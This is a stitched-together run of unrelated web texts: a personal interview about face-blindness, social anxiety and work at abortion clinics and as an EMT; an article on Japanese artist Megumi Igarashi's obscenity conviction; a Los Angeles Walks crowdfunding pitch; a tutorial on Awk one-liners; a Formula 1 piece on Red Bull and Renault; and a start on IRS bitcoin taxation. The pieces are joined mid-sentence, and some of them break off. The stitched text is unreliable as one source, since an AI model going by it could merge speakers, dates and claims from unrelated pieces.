Minor bit of Schadenfreude: I’m looking better than many of the women I went to school with as I’ve always had pretty good skin and I stay the heck out of the sun. When my daughter was born, I decided I was never going to talk badly about my body in front of her. Nor did I ever talk about weight loss or dieting. It must have done some good, as neither child has weight or food issues. So, I guess I’m as messed up about my appearance as any other woman.
But you can tell if other people are objectively good-looking …
If they have got the symmetrical face, good skin, and straight teeth, I’m aware that they’re good-looking. But that doesn’t mean they are attractive to me.
What attracts you to people?
I have a thing for voices and intelligence. While I can appreciate that someone is attractive on an aesthetic level, I don’t feel it on that visceral, “Whoa! They’re hot!” way. At least not when I first meet them. I really only become sexually interested when I have talked to someone long enough to know them. I would be hard work to date. I met my husband at the university science fiction club. He has an incredible voice — he’s a public speaker, his grandfather was a radio announcer, and his father works in television. And he’s the smartest person I know — he used to teach English literature.
So, tell me about your career …
I had aspirations to go to medical school when I was young, but life interfered. So I worked at an abortion clinic in Michigan as a counselor and a medical assistant. My family was appalled. This was in 1989. I found that I really liked the counseling part. When I got married, I started worked in homeless and family shelters.
In 1997, we moved to Louisiana, where I worked at the local abortion clinic. The schools were so bad that I homeschooled my kids, which meant I had a group of mommy friends who were various types of ultraconservative Christian. They wanted the government to keep out of their business, and as a left-leaning crunchy earth mama, I could respect that. But I kept my work at the clinic on the down low. I really didn’t need to wake up to “Baby Killer” painted on my door. Nor did I want to make myself a target for kidnapping at gunpoint, which happened to one of my friends. One of the homeschooling mamas did ask if I wanted to come pray outside the abortion clinic with her, which I politely declined. I didn’t mention that I could just come visit her on my lunch break, either.
I imagine confidentiality was vital, so you must have been perfect for that job?
Yes! I could never even accidentally violate somebody’s confidentiality because I didn’t know who anyone was. A couple of times I ran into one of the ultraconservative ladies I knew, but more commonly my husband’s students would recognize me. That was awkward for them.
Do you think your skills at reading body language and expressions has made you especially perceptive to visual cues of sadness or distress?
I’m currently an EMT, and I can tell when a patient is in trouble because I see them turn gray before anybody else does. My brain thinks that their skin color is more important than their face, but for others the face is a distraction. If you’ve done this job long enough, you learn to look for those clues, but it took me a lot less time. I’m also a very good listener because the tone of voice and body language are what I always pay attention to. I’m good at calming people down, because I can tell when they’re starting to freak out. And if I’ve scraped somebody up off the freeway, I won’t recognize them if I see them at the store a few weeks later.
And there’s a lot of prejudices that I don’t actually have through no virtue of my own …
You mean racism? Sexism?
Well, yes. Here’s a good example. When I worked at a homeless shelter, I was often praised for the way I interacted with my African-American clients. I couldn’t figure out what I was doing differently from the other white workers, but I was allowed into their circle and they bonded with me. When we lived in Louisiana, I was always being asked by African-American women if my husband was black.
Because of the way you acted?
When I was tested at Dartmouth, I scored low on unconscious racism. Apparently babies show a preference for their own race at about nine months because that’s when they start being able to recognize faces. My head doesn’t do this.
My husband says that he thinks it’s because I do the unconscious mimicry thing — I can switch my tone and manner very quickly, depending on who I am interacting with. But that’s not to say that I don’t have biases — I do. They are actually very British: I have deep-seated classism and I’m an education snob.
Because voice and what people have to say and how they dress are so important to you?
Well, yes, and also because my mother was very aspirational. My dad was a steelworker who married up. He’d have to look to her to see what fork to use. My mother’s catchphrase was “Don’t do that, dear — that’s a bit common.”
What’s your social life like these days?
When I’m just one-on-one with a person, I’m fine. But my biggest fear is going to a party or a meeting where there is no agenda. I have the worst case of social anxiety disorder. When I’m somewhere where people are moving around, and they’re not in their usual contexts, and they might be wearing something they don’t normally wear? That’s really very tough for me. My husband likes to say that he’s my seeing-eye human. He’ll talk to anybody. I’m that person in the corner at the party glued to one person.
So your social anxiety is really bad?
It’s crippling. I’m a bit of a recluse. I can get physically sick when walking into new things. I live in a town where the population is about 500, so there’s a limited number of faces for me to remember. But when I have to walk into a crowded room where I’m supposed to know people, I want to run. Facebook gives me the same sensation. I hate it. Everybody’s sort of talking with each other, and I don’t know who anybody is. It can be very isolating. Being alone at a party is what every day feels like for me. When I say I’m a recluse, I’m not kidding. Our nearest neighbor is a quarter mile away; I can go for days without seeing anybody.
Do you remember feeling that way when you were a kid?
It’s the story of my life. When I was younger, I didn’t even know I was having panic attacks. I had the “Oh God, I’m going to die” sensation followed by the tape in your brain replaying everything you’ve done wrong. I refer to them as brain weasels. I just thought there was something deeply, uniquely, wrong with me.
When I graduated high school, I had all of these other issues — useless father, you know the story. My parents had an ugly divorce. I saw a therapist who attributed all my social awkwardness to anxiety. What I didn’t know is that what was feeding the anxiety was this feeling of “I don’t know who anyone is.” Looking back, there were probably people who were making friendly overtures at me, but I didn’t see it. Unfortunately, the safest thing to do is assume everybody’s got unfriendly intent. When I was in my twenties, I was diagnosed with major depression, and then anxiety disorder. It waxes and wanes. I was once put on drugs for it but they were not for me — stay away from benzodiazepines. They make you stupid.
In what sense was your father useless?
He was one for having affairs and wasn’t much concerned with his kids after he left my mother. There were 300 people at my mother’s funeral. We didn’t even have one for my dad because there was nobody to invite. He fell out with people. He was the life of the party, but not somebody you could rely on — his drinking didn’t help.
I’m surprised you are able to work in such distressing contexts, as an EMT and in abortion clinics, given your anxiety …
People always ask me how I can be an EMT when I have anxiety disorder. But I’m fine when I have a plan in my head. I’m perfectly calm cleaning up blood and guts after a car accident, but if I know I have to go to a dinner party, I’ll have an anxiety attack. I don’t take a lot of social risks, so I tend to put all of my risky behavior into other places. I helped after Hurricane Sandy. I went to Haiti after the earthquake.
Do you think your face-blindness allows you a critical distance?
I would say that it helps me not take things personally. One acquires professional distance with experience, and it is easier to distance yourself when something is happening to people who are not your immediate tribe or kin. However, I never got a good grasp on what my “tribe” looks like. They just look like people. So therefore, anyone at all could be my tribe. Or they could be hostile …
Does it take you a while to forge emotional connections with people?
I tend to be slow to bond with people and I think that has a lot to do with the fact that they are just a generic face to me. When my father was dying, I hadn’t seen him for about a year. I got there, and he was so gray. Even his hair had turned gray since I’d last seen him. And I had this surreal sensation that I didn’t know him. I can have that feeling with anyone who’s close with me if they’ve changed. But it was just so stark. There’s an emotional thing that happens when you recognize somebody. And it just didn’t happen. I’d never experienced that sensation so strongly.
I guess my difficulty bonding came in handy because I could really see him as any other patient. I tend to keep a distance from most people emotionally. I am not at all touchy-feely, although I am quite empathetic. I am a very open person; like I’m talking to you, I’m telling you my whole life story, but I don’t bond with people easily face-to-face. I knew my husband for five years before we started dating.
Had you had dated before?
I had two boyfriends, but both relationships were a mess. In college, I had a couple of girlfriends — which gave me a solid understanding that I’m pretty much bisexual.
Is that how you identify? I wonder if your face-blindness plays a role …
I don’t think the face blindness affects who I’m attracted to orientation-wise. I never have trouble telling men and women apart. I seem to admire very feminine women and very masculine men. The girlfriends I have had always started out as friends.
These days I tend to view myself as demi-sexual. I only become attracted to someone after I’ve known them for a long time. Cheating baffles me. I have never had a sexual encounter that “just happened” with someone I “just” met. In college, I tried to experience no-strings-attached sex, but I couldn’t do it. Not out of any sense of morality — I simply don’t get how you could have any interest in someone who you’ve known less than a year. I often wonder if my bisexuality is more a function of needing to know people well. Perhaps the sentiment that straight people will sometimes express to someone who is gay, “Maybe you haven’t found the right person yet,” is a reflection of their demi-sexuality?
I’m curious to know if it was an issue bonding when your children were born?
I thought there was something wrong with me. I felt like I should be having that “instant love” mothers always talk about, but I didn’t. The midwife was wonderful. She said, “Look, maybe you don’t fall in love with a person the first time you see them. You’re just not wired that way.” She told me to just keep doing what I was doing. When it cries, feed it, change it, do all of that, but realize that picking up the baby and holding her, that is bonding. And she was right. Because for me, being so not visual, it was always the sound of my children’s voices that got me.
Looking back, how do you think this has affected your life? Do you see it as a burden or something that makes you unique and special?
I find it more of an inconvenience than a true disability. Depression is a disability; ADD (which I have) is a disability. The social phobia that accompanies my face-blindness is a disability. Discovering I had this went a long way to alleviating some of the social phobia and I have, and also I realized that some of my more off-putting mannerisms — like avoiding eye contact — were caused by it. It’s possible that, if I were a child in school today, I might get diagnosed as being on the autism spectrum. Having found this out, I can take steps to be less off-putting, like remembering to look at people in the eye.
But I do see it as something that makes me unique. The two most famous people who have this are Oliver Sacks and Jane Goodall. I don’t mind being in that company. But I can see where it can be very upsetting to someone who’s had a stroke and suddenly can’t recognize their family or friends. They don’t have 40-odd years of strategy worked out.
How different do you think your life would have been if you’d known about this earlier?
I think I would have done better in school and I could have learned some of the coping skills that took years of trial and error for me to figure out. I also think I may have had a lot less social anxiety. So much of my life has improved just knowing it’s a thing. It’s like, “Oh, that’s okay, it’s not that I’m not trying hard enough; it’s not that I’m so anxious I don’t know what I’m doing.” That’s why I think it’s so important to talk about this, because I know there are other people who are going to say, “Oh my God, that’s me.”
Do you tell people about it? How do they react?
I’ve gotten clueless and skeptical reactions, but no one’s ever been rude. Especially because I try to articulate very clearly that it’s a neurological hiccup. So many things have to happen for everything to go perfectly, it’s a wonder any of us have the right number of fingers. I figure we are all a bit messed up.Japanese artist Megumi Igarashi has been battling obscenity charges since July 2014, when she was arrested and charged for distributing files to make 3-D printed models of her vagina.
Japanese authorities intercepted the 3-D data that she emailed to donors who ultimately helped crowdfund her Pussy Boat, an oceangoing, vagina-shaped kayak and art project.
Igarashi, who is 45 and goes by the nom d’art Rokudenashiko (“Good-For-Nothing-Girl”), was arrested and charged again in July 2014 for exhibiting other vagina-related works in a Tokyo adult-entertainment shop.
The project was titled Deco-man—“man” being an abbreviation of manko, Japanese for “pussy”–and featured small pussy boats, a pussy lampshade, a remote-controlled pussy car, a pussy smartphone case, and so on. Authorities confiscated her cellphone, laptop, and other belongings, and Igarashi would spend, in all, 30 days behind bars.
In May 2016, a Japanese court found Igarashi guilty of obscenity and fined her ¥400,000 (at the time, around $3,600). The 3-D data she’d distributed was deemed “obscene,” according to a draconian 1907 law, because it could have been used by recipients to create an arousing sex-toy replica of her vagina, the court said in its ruling.
Her Deco-man works, however, qualified as art under Japanese law because—unlike the 3-D data of her vagina—the pussy boats and other sculptures could not be used to turn people on.
Igarashi has appealed the court’s obscenity ruling on the basis that distributing 3-D data was crucial to her Pussy Boat art project.
Now, Igarashi is teaming up with PEN America for their new Artists at Risk (ARC) initiative, which launches today and is dedicated to protecting artists from censorship and government punishment.
The initiative provides resources for threatened artists, including housing opportunities, emergency funding, fellowships and grants, and residencies through an interactive online catalogue available in over 100 languages. PEN also hopes to unite organizations that can provide even more resources to threatened artists around the world.
“I think by raising awareness about artistic freedom and how art is under threat around the world, hosting speaking engagements with artists and amplifying their voices, we will ultimately have less censorship,” Julie Trébault, director of ARC for PEN, told The Daily Beast.
‘It made for a good gimmick, so I went through with it’
Originally a comic book writer, Igarashi made her first foray into manko art, or “pussy” art, with an illustrated accompaniment to her account of having cosmetic surgery on her lady bits.
In Japan, these kinds of stories are called “experience manga,” with manga referring to cartoons and comics. (Igarashi writes extensively about experience manga in her graphic memoir, What Is Obscenity? The book was published last May, the same month that Igarashi was found guilty of obscenity charges.)
Getting the surgery provided blockbuster writing material, though she admits in her book that she also wanted a “nicer looking vag.”
“I was curious about the procedure and no one had written a manga about it,” Igarashi wrote in an email interview with The Daily Beast. “It made for a good gimmick, so I went through with it.”
The manga was a “big hit,” she said, and it precipitated opportunities to do other manko-related stories, but she soon struggled to find fresh angles for her manko series and eventually abandoned it.
“After the gimmick lost its weight, I decided to commemorate my new pussy with a cast,” Igarashi said. “What the cast revealed, though, was obviously a pussy without the labial flaps—frankly a really boring flat mold. So I took a cue from the bedazzled cellphones that were all the rage with teenage girls, and bedazzled and painted my Deco-man.”
When Igarashi first showed the colorful cast to her friends, she was surprised that no one guessed it was a vagina until she told them. The cast quickly became a subject of fascination among her peers, one of whom interviewed Igarashi about her Deco-man for an online publication.
The reception was not what she expected.
“The second that article went live, I received all kinds of hateful, insulting comments about how gross and smelly my pussy must be,” Igarashi said. “That’s when I first started to really question people’s hateful and phobic attitudes about pussy, and when ‘Manko Art’ officially came to be. Spurred by the online slander, I decided to make Deco-man my life’s mission.”
In the three years since she started making manko casts, Igarahshi now sees manko “every day,” she said, noting that her work—including Deco-man workshops—has made it easier for other women to talk more freely about sex and genitalia.
“People came bewildered and were embarrassed at first, but then after we all got to putting our casts on a table and decorating them together, their inhibitions around pussy gradually faded,” she said.
Seeing so many different “shapes and color of pussy” also changed her attitudes about women’s genitalia, she said. “I realized that my opinions had been poisoned by prejudice.”
Looking back now, she’s realized her cosmetic surgery was “unnecessary.” But she doesn’t regret it; if she hadn’t gone through with the procedure, she wouldn’t be making manko art today.
‘Most women don’t know what an “average” pussy looks like’
With the porn industry’s tendency to fetishize Asian (particularly Japanese) women, it’s easy to forget that Japan is a deeply puritanical culture.
Hardcore porn is freely available to anyone in the world with an internet connection, but adult films produced in Japan are still required to pixelate genitals and penetrative (including oral) sex.
“Most women don’t know what an ‘average’ pussy looks like, and they’ve been told all their lives that it’s gross and dirty to talk about it,” Igarashi said, adding that Japan’s prudish culture has perpetuated body dysmorphia among women.
“We don’t know what to look for, so we convince ourselves that to meet men’s desires we have to have pink fleshy pussies like young girls, and then needlessly get corrective surgery like the procedure I had done,” she said.
Igarashi is now determined to help change moralistic Japanese culture (simply uttering the word “pussy” is taboo, she says) with her manko art. She also hopes that court cases like hers will make Japanese authorities less inclined to censor artists.
Government censorship of her work has made Igarashi an activist, even though her views don’t align with Japanese feminism.
“When I started making Deco-man, I made a conscious effort to attend more feminist art shows, but I frequently found them to be too heavy and painful” when the subject is the plight of women’s plight, she said. “I believe it’s important to express pain, but I personally didn’t feel better afterward.
“I think Japanese feminism has stopped penetrating because it comes with the image of a dour old lady who’s angry all the time,” she continued. “To be frank I think it has failed as a movement.”
She approaches her manko art with a certain levity, she said, both for her own mental and emotional health and to avoid turning women off.
“People prefer to do things that are fun, interesting, and easy to relate to,” she said. “They don’t want to feel tortured, angry and sad all the time.”
The “light-hearted” nature of her work has provoked criticism from more hardline feminist artists, she said, who insist she’s not an artist.
But Igarashi isn’t discouraged. “These slanderous critiques only give me a springboard for work,” she said, adding that she enjoys thinking of new ways to piss off her critics.
Manko art is Igarashi’s way of trying to wear down “the male hegemony,” as she put it, particualrly with regards to Japanese authorities.
“I have effectively created an arts practice by angering the police, so they are part of my art, too,” she said.
Igarashi is nonetheless outraged over the obscenity charge and Japan’s refusal to adopt a more progressive attitude about sexuality.
“It is 2017 |
love to walk and are instinctively drawn to areas good for walking—places like parks, the beach and walkable commercial districts. But most Angelenos have not taken the next step to consider how their neighborhoods can become more walkable. Our Hey, I’m Walking Here! campaign is intended to tap into this latent desire to help Angelenos request more pedestrian amenities, build more vibrant communities, and promote the act of walking in Los Angeles.
How to Join Our Campaign
Of course, supporting our project benefits everyone in L.A. because more walking equals a healthier, safer, more vibrant city. But we'd like to give you something extra special for helping us make this campaign a reality.
BONUS: Everyone who pledges will get a set of our brand-new Hey, I'm Walking Here decals designed by Colleen Corcoran. Stick them somewhere to let people know where you’re walking in L.A. Dare we say these would look great on a car?
If you pledge at the $10-$50 level, you'll be the first to receive our new Hey, I'm Walking Here! campaign materials, including...
A set of buttons designed by Colleen Corcoran...
This beautiful poster designed by Colleen Corcoran...
Or this limited-edition bandana designed by Colleen Corcoran...
...which you can proudly wear as you walk all around town. All our materials are designed by our amazing graphic designer and steering committee member Colleen Corcoran.
Deborah Murphy's midcentury modern house overlooks the Reservoir in Silver Lake
At the $100 level, you'll join us at the Los Angeles Walks Dinner on the evening of Saturday June 1 from 6:30 to 10:30 p.m. The dinner will be a chance to meet and mingle with your fellow pedestrian advocates, including our special guests and honorees Margot Ocañas and Valerie Watson, the new pedestrian coordinators for the City of Los Angeles. It will be held at the home of our founder and executive director Deborah Murphy, a beautiful midcentury modern house designed by by J.R. Davidson and remodeled by R.M. Schindler, nestled in the hills of Silver Lake. In addition to being an urban designer, Deborah's also a caterer and has planned an amazing meal inspired by the street food of L.A.
If you back us at the $200 level, you'll get TWO tickets to the dinner as well as all our campaign materials (buttons, poster, bandana). All details including address and directions will be sent to backers on Friday, May 31 at 12:30 p.m. (The reward copy doesn't say this since we can't update it once we've launched, but rest assured we'll confirm that you have two tickets.)
Join members of our steering committee for custom walking adventures
For just $250, in addition to TWO tickets to the dinner and all our campaign materials, you'll join one of our steering committee members for a custom L.A. walking experience. (The copy doesn't say this for every reward since we can't update it once we've launched, but rest assured we'll confirm that you have two dinner tickets.)
Learn how to commute car-free with Alexis Lantz.
Have Jessica Meaney teach you how to maximize your daily FitBit activity (includes a FitBit!).
Head out on a transit and walking tour with Mark Vallianatos to learn how land use policies shaped Los Angeles.
Get a behind-the-scenes look at the Spring Street Parklets with Daveed Kapoor.
Meet Colleen Corcoran for an urban nature adventure.
Explore the secret restaurants and alleyways of Chinatown with My La.
Have Alissa Walker design you an architectural walking tour that ends with ice cream.
All tours take place in Los Angeles at a time and place which are mutually agreeable to all parties (and you can bring more friends on the tour with you). Read more about our custom walking adventures.
And finally, for $500, you'll join L.A.'s pedestrian coordinator Valerie Watson and our founder Deborah Murphy on a very special walk to learn practical, actionable steps for how to improve a street or block in your own L.A. neighborhood. This would be a great benefit for a school or neighborhood group to share. And for this level you'll get TWO tickets for the dinner and two of all the campaign materials as well. What a deal!
If you can't donate at this time, head over to our website and add yourself to our mailing list so you can join one of our free upcoming events!
Why Should Los Angeles Walk?
Walking is a “magic app” for creating a healthy, vibrant city. As the most common type of physical activity, walking is an easy and effective way to improve fitness. It reduces body fat and bad cholesterol, cutting the risk of some of the leading causes of death in Los Angeles. Walking extends life—walking 75 minutes per week adds 1.8 years of life; walking 2.5 hours per week adds 7 years of life. Walking regularly also improves mood and reduces fatigue.
The benefits of walking reach beyond individual fitness to make communities into healthier places to live, work and play. Walking instead of driving, even for short car trips, decreases air pollution and reduces respiratory and cardiovascular ailments as well as some kinds of cancer. Car crashes are the leading cause of death for Angelenos under the age of 5 and the second-leading cause of death for children and young adults ages 5 to 24. Making the city safer for pedestrians can also make the city more equitable: Most pedestrian deaths in L.A. occur in low-income neighborhoods where many residents do not own cars.
And these benefits can also lead to greater social change. Walking increases our contact with our neighbors, builds social capital and civic awareness and puts more eyes on the street to reduce crime. In a city like L.A. with a diverse population but a history of social inequality and residential segregation, walking also allows people to explore new neighborhoods and can help reduce barriers of class, race, language and location.
Walking also brings significant economic benefits. Studies show that streets that have received pedestrian improvements such as street porches, pedestrian plazas and traffic calming have often found a boost in sales. Property values are also higher in walkable neighborhoods than in comparable sprawling places. As living in a walkable area becomes more desirable, walkable cities have an easier time attracting businesses and people with ideas for starting new businesses.
In a city where less than 20% of all trips are taken on foot or bike, we believe that even a small increase in awareness around the benefits of walking will have a dramatic impact across the city. Our campaign is perfectly timed to build upon increasing momentum around walking, and be a tipping point towards a healthier, more walkable L.A.
About Los Angeles Walks
Los Angeles Walks is a volunteer-supported organization dedicated to promoting walking and pedestrian infrastructure in Los Angeles, educating Angelenos and local policymakers concerning the rights and needs of pedestrians of all abilities, and fostering the development of safe and vibrant environments for all pedestrians.
Urban designer Deborah Murphy founded Los Angeles Walks with the goal to raise awareness of walking and advocate for exceptional urban design to help foster a more walkable city. In the fall of 2011, Alexis Lantz, Jessica Meaney, Colleen Corcoran, Alissa Walker, Michelle Craven and Anthony Crump all joined Deborah under the fiscal umbrella of the Los Angeles County Bicycle Coalition to begin a grassroots efforts at an increased level to support walking in L.A. In the summer of 2012, My La, Rachel Cushing Bennett, Karen Mack, and Mark Vallianatos joined the Steering Committee, and Michelle Craven returned to her native east coast to work for the New York City Department of Transportation under Janette Sadik-Khan. In the fall of 2012, Daveed Kapoor and Tilza Castillo joined the Steering Committee.
Our logo and all materials (including the buttons, poster and bandana you'll receive when you back us) are designed by Colleen Corcoran.
Our Kickstarter video was made by Ana Haase-Reed.
We are forever grateful to the Los Angeles County Bicycle Coalition for serving as our fiscal sponsor. That's also why your donation will be going to them when you see your bank statement.
Thank you for supporting us, and for everything you do to make Los Angeles a great city for walking! Because remember: Everyone walks in L.A.This is an update post to my three-part article Awk One-Liners Explained.
I received an email from Eric Pement (the original author of Awk one-liners) and he said that he just published a new version of awk1line.txt file. I did a diff and found that there were seven new one-liners in it!
The new file has two new sections String Creation and Array Creation, and it also updates Selective Printing of Certain Lines section. I'll explain the new one-liners in this article.
Here is the latest version of awk1line.txt – awk1line-new.txt.
The original Eric Pement's Awk one-liner collection consists of five sections, and I explained them in my previous three articles:
Awesome news: I have written an e-book based on this article series. Check it out:
Okay, let's roll with the new one-liners!
String Creation
1. Create a string of a specific length (generate a string of x's of length 513).
awk 'BEGIN { while (a++<513) s=s "x"; print s }'
This one-liner uses the "BEGIN { }" special block that gets executed before anything else in an Awk program. In this block a while loop appends character "x" to variable "s" 513 times. After it has looped, the "s" variable gets printed out. As this Awk program does not have a body, it quits after executing the BEGIN block.
This one-liner printed the 513 x's out, but you could have used it for anything you want in BEGIN, main program or END blocks.
Unfortunately this is not the most effective way to do it. It's a linear time solution. My friend waldner (who, by the way, wrote a guest post on 10 Awk Tips, Tricks and Pitfalls) showed me a solution that's logarithmic time (based on idea of recursive squaring):
function rep(str, num, remain, result) { if (num < 2) { remain = (num == 1) } else { remain = (num % 2 == 1) result = rep(str, (num - remain) / 2) } return result result (remain? str : "") }
This function can be used as following:
awk 'BEGIN { s = rep("x", 513) }'
2. Insert a string of specific length at a certain character position (insert 49 x's after 6th char).
gawk --re-interval 'BEGIN{ while(a++<49) s=s "x" }; { sub(/^.{6}/,"&" s) }; 1'
This one-liner works only with Gnu Awk, because it uses the interval expression ".{6}" in the Awk program's body. Interval expressions were not traditionally available in awk, that's why you have to use "--re-interval" option to enable them.
For those that do not know what interval expressions are, they are regular expressions that match a certain number of characters. For example, ".{6}" matches any six characters (the any char is specified by the dot "."). An interval expression "b{2,4}" matches at least two, but not more than four "b" characters. To match words, you have to give them higher precedence - "(foo){4}" matches "foo" repeated four times - "foofoofoofoo".
The one-liner starts the same way as the previous - it creates a 49 character string "s" in the BEGIN block. Next, for each line of the input, it calls sub() function that replaces the first 6 characters with themselves and "s" appended. The "&" in the sub() function means the matched part of regular expression. The '"&" s' means matched part of regex and contents of variable "s". The "1" at the end of whole Awk one-liner prints out the modified line (it's syntactic sugar for just "print" (that itself is syntactic sugar for "print $0")).
The same can be achieved with normal standard Awk:
awk 'BEGIN{ while(a++<49) s=s "x" }; { sub(/^....../,"&" s) }; 1
Here we just match six chars "......" at the beginning of line, and replace them with themselves + contents of variable "s".
It may get troublesome to insert a string at 29th position for example... You'd have to go tapping "." twenty-nine times ".............................". Better use Gnu Awk then and write ".{29}".
Once again, my friend waldner corrected me and pointed to Awk Feature Comparsion chart. The chart suggests that the original one-liner with ".{6}" would also work with POSIX awk, Busybox awk, and Solaris awk.
Array Creation
3. Create an array from string.
split("Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec", month, " ")
This is not a one-liner per se but a technique to create an array from a string. The split(Str, Arr, Regex) function is used do that. It splits string Str into fields by regular expression Regex and puts the fields in array Arr. The fields are placed in Arr[1], Arr[2],..., Arr[N]. The split() function itself returns the number of fields the string was split into.
In this piece of code the Regex is simply space character " ", the array is month and string is "Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec". After the split, month[1] is "Jan", month[2] is "Feb",..., month[12] is "Dec".
4. Create an array named "mdigit", indexed by strings.
for (i=1; i<=12; i++) mdigit[month[i]] = i
This is another array creation technique and not a real one-liner. This technique creates a reverse lookup array. Remember from the previous "one-liner" that month[1] was "Jan",..., month[12] was "Dec". Now we want to the reverse lookup and find the number for each month. To do that we create a reverse lookup array "mdigit", such that mdigit["Jan"] = 1,..., mdigit["Dec"] = 12.
It's really trivial, we loop over month[1], month[2],..., month[12] and set mdigit[month[i]] to i. This way mdigit["Jan"] = 1, etc.
Selective Printing of Certain Lines
5. Print all lines where 5th field is equal to "abc123".
awk '$5 == "abc123"'
This one-liner uses idiomatic Awk - if the given expression is true, Awk prints out the line. The fifth field is referenced by "$5" and it's checked to be equal to "abc123". If it is, the expression is true and the line gets printed.
Unwinding this idiom, this one-liner is really equal to:
awk '{ if ($5 == "abc123") { print $0 } }'
6. Print any line where field #5 is not equal to "abc123".
awk '$5!= "abc123"'
This is exactly the same as previous one-liner, except it negates the comparison. If the fifth field "$5" is not equal to "abc123", then print it.
Unwinding it, it's equal to:
awk '{ if ($5!= "abc123") { print $0 } }'
Another way is to literally negate the whole previous one-liner:
awk '!($5 == "abc123")'
7. Print all lines whose 7th field matches a regular expression.
awk '$7 ~ /^[a-f]/'
This is also idiomatic Awk. It uses "~" operator to test if the seventh "$7" field matches a regular expression "^[a-f]". This regular expression means "all lines that start with a lower-case letter a, b, c, d, e, or f".
awk '$7!~ /^[a-f]/'
This one-liner matches negates the previous one and prints all lines that do not start with a lower-case letter a, b, c, d, e, and f.
Another way to write the same is:
awk '$7 ~ /^[^a-f]/'
Here we negated the group of letters [a-f] by adding "^" in the group. That's a regex trick to know.
Awk one-liners explained e-book
I just wrote my first e-book called Awk One-Liners Explained. I improved the explanations of one-liners in this article series, added new one-liners and added three new chapters:
Introduction to Awk One-liners
Summary of Awk Special Variables
Idiomatic Awk
The book is here:
What's next?
If you liked this series, then here's some more Awk stuff I've created:
Have fun with this and see you next time!For the energy drinks giant finds itself in an amazingly complex web that involves Mercedes, Red Bull, Renault, Lotus and Ferrari – as everyone battles to maintain their own competitive interests.
And although each party knows exactly the outcome they want from the current situation, there are conflicting motivations which mean there is not going to be a clear cut way forward.
Red Bull Renault break down
The starting point for understanding the current situation is that Red Bull has lost patience with Renault over its lack of competitiveness this season.
It has been obvious for some time now that Red Bull and Renault's relationship had hit trouble: as reliability niggles and a lack of performance progress erupted in to a pretty open war of words at the start of this campaign.
While matters may have calmed down a bit in public, behind the scenes things have been moving on as Red Bull looks to get itself back to the front.
Despite an engine contract for 2016, it emerged in Belgium that Red Bull has notified Renault (quite some time ago according to one source) that it wants the deal terminated.
The implication is that as a customer Red Bull has not been given the service (read 'performance promises') that it was promised.
That is not an opinion shared by Renault, with sources suggesting that the French car manufacturer is adamant that the 2016 contract is rock solid.
If that is the case, then the only way forward will be taking it to court – or an expensive pay-off.
To further complicate matters, many of Red Bull's big sponsors, like Infiniti and Total, for example, are very closely affiliated with Renault.
It is not a simple case of being able to cutting the French car manufacturer loose and automatically expecting its allies to join you.
A 2016 truce
Despite the breakdown in relations and desire by Red Bull to go elsewhere, it is not impossible that team and engine partner remain bedfellows for another year, and not just because the courts tell them so.
Red Bull is waiting for Renault to finalise its Formula 1 plans for 2017, which could be the takeover of Lotus or the buy-in of another team like Force India.
Once its plans for the long term are sorted, it will be much clearer what the landscape is like for 2016 and whether or not Red Bull can still be treated as Renault's number one partner.
Red Bull is also eager to see whether or not a renewed commitment to F1 will deliver it with more resources to be successful. It's something Red Bull boss Christian Horner is eager to see
"You have to do a root and branch review," he said about where he wanted Renault to go. "There are some very capable people at Renault, but it feels under resourced. You can see the effort and commitment that is going in from Mercedes and the commitment coming from Ferrari as well.
"There is an enormous amount of resources being committed. Obviously for Renault it is as big an issue as it is for us: they cannot afford to have the negative publicity from an uncompetitive engine."
Red Bull is also desperate to see just how much more performance the upgraded Renault engine coming for Sochi delivers: for that will give a proper indication of just what kind of progress the French car manufacturer can make this winter.
Mercedes on hold
Should Red Bull not be won over by Renault's plans, and it decides to push on with its Mercedes target, there are still endless hurdles to overcome.
To further muddy the waters, Red Bull knows it will only be able to begin proper Mercedes dialogue once it is free of its current deal with Renault.
For although Mercedes chiefs have softened their stance about a tie-up with Red Bull – having been adamant less than two months ago it would never happen – there are still contracts to respect.
And since Mercedes is a 3.1 per cent shareholder in Renault, and likewise Renault a 3.1 per cent shareholder in Mercedes, there is absolutely no chance of them stepping on each others' toes.
When asked by Motorsport.com about the situation, motorsport boss Toto Wolff said: "We will not interfere into an existing relationship for many reasons.
"Legally we don't do this and it is not the way we approach business in general.
"You must not forget Renault and Daimler go back a long way with many co-operations. It is an industrial partnership and until the situation is resolved between the two parties [Red Bull and Renault] we will not even start any discussions.
"Because it has not reached that point, and because the complexity is quite large with the many decisions that need to be made, that is still where we are."
Risk factors
There is pressure being put on Mercedes though – not only from Red Bull, but also Bernie Ecclestone, who knows that F1 would benefit from having someone challenging the Silver Arrows every weekend.
And while some Mercedes board members may be quite excited about the potential marketing boom of linking their company with the 'youth' Red Bull marketing platform, it is understood factions with the German car manufacturer's F1 team are not wholly convinced yet of the benefits.
As well as the potential danger of handing potentially their most competitive rival the best engine, what risk is there of Mercedes being on the receiving end of the kind of negative publicity Renault faced?
Would Red Bull throw it out there that it was getting second-rate treatment if it found itself unable to beat the Mercedes works team?
Deal collapse
If Mercedes decides in the end that a tie-up with Red Bull does not make sense, then the team's grand plan will be left in disarray because it could then be too late to go back with a begging bowl to Renault.
It would have to accept an offer from Ferrari – which sources suggest will be for the identical spec power-unit as the works team – or try to put together a Honda deal. At the moment, the latter does not seem too exciting a prospect.
Walking away
For Red Bull, the danger of cutting Renault loose with no back-up plan is evident, because it could leave it without anything.
And if that is the case, then there would be only one option.
"I think the bigger danger is if we don't manage to address our current situation, the damage will be significant," said Horner.
"We heard Dietrich Mateschitz's comments earlier in the year and it is important not to take them too lightly. We have to address the competitiveness of the team, moving forward.
"Our priority is the competitiveness of the team moving forward. Our priority is the second half of this year, we want to hear what Renault's commitment and plans are for the future, what that entails, whether that is as an engine supplier or as a team owners.
"They have to have a competitive engine, unless they decide to stop, and once we understand that then they have to make a plan."
For Red Bull, the fight for Mercedes engines is not just about winning in F1: it's about its very own future in the sport.As most people have now heard, the IRS just granted itself the power to tax the gains realized when individuals sell or spend their bitcoins — much like stocks. That means you are also responsible for knowing exactly how much your Bitcoin holdings have increased in dollar terms since you bought them. If you are a miner, it even means all those 1’s and 0s sitting idly on your cold storage hard drive are now considered gross income. Naturally, this has produced some trepidation among Bitcoin lovers, who now are obliged to keep incredibly onerous tax records if they want to stay on the right side of the law.
